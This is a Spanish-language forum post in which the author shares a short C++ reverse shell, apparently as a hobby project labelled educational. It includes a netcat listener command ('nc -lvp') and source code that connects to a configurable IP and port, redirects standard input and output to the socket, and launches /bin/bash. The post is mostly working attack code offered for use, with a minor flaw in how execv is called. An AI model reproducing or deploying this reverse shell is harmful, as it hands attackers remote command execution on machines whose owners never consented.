(https://i.postimg.cc/hP6dZYc9/Internet_Speed.png) (https://postimages.org/)
Muy buenas chicos.
Os dejo por aqui una simple reverse shell que me apetecia hacer desde hace unos dias y que no daba encontrado el momento hasta ahora.
Os ire subiendo versiones mas completas y complejas. No hace falta decir que esto es con motivos didacticos y os aconsejo que tengais cuidado con como utilizais estas cosas.
Para probarla, ya sabeis, abrís un puerto con lo tipico... "nc -lvp <puerto a abrir>" y ya podeis poneros a jugar un poco con ello.
Tal vez suba implementaciones de RFC un poco mas completas y con explicacion merecida. ¡Un saludo!
#include <iostream>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <cstring>
#include <cstdlib>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netdb.h>
#define IP_SERVER ("127.0.0.1")
#define PORT_SERVER ("9999")
int main(int argc, char ** argv){
struct addrinfo base;
memset(&base, 0, sizeof base);
base.ai_socktype = SOCK_STREAM;
struct addrinfo *res;
int status;
if(getaddrinfo(IP_SERVER, PORT_SERVER, &base, &res) < 0){
std::cerr << "An error has ocurred in calling getaddrinfo" << std::endl;
std::cerr << "exiting..." << std::endl;
return -1;
}
int sock = socket(
res -> ai_family,
res -> ai_socktype,
res -> ai_protocol
);
if(sock < 0){
std::cerr << "An error has ocurred while creating socket" << std::endl;
std::cerr << "exiting..." << std::endl;
return -1;
}
if(connect(sock, res -> ai_addr, res -> ai_addrlen) < 0){
std::cerr << "An error has ocurred while connecting" << std::endl;
std::cerr << "exiting..." << std::endl;
return -1;
}
freeaddrinfo(res);
//ya podemos enviar y recibir
pid_t pid = fork();
if(pid < 0){
std::cerr << "An error has ocurred while doing fork" << std::endl;
std::cerr << "exiting..." << std::endl;
}else if(pid == 0){
//aqui estamos en el hijo
//vamos a manipular los descriptores y a duplicarlos con el descriptor del socket
int res_out = dup2(sock, 0); //stdout
int res_in = dup2(sock, 1); //stdin
int res_err = dup2(sock, 2); //stderr
if(res_out < 0 || res_in < 0 || res_err < 0){
//no se pudieron duplicar los descriptores
exit(EXIT_FAILURE);
}else{
execv("/bin/bash", NULL); //ejecutamos nuestra shell
}
}else{
//aqui estamos en el padre
std::cout << "pid hijo:" << pid <<std::endl;
waitpid(pid, &status, 0);
std::cout << "proceso terminado correctamente" << std::endl;
}
close(sock);
return 0;
}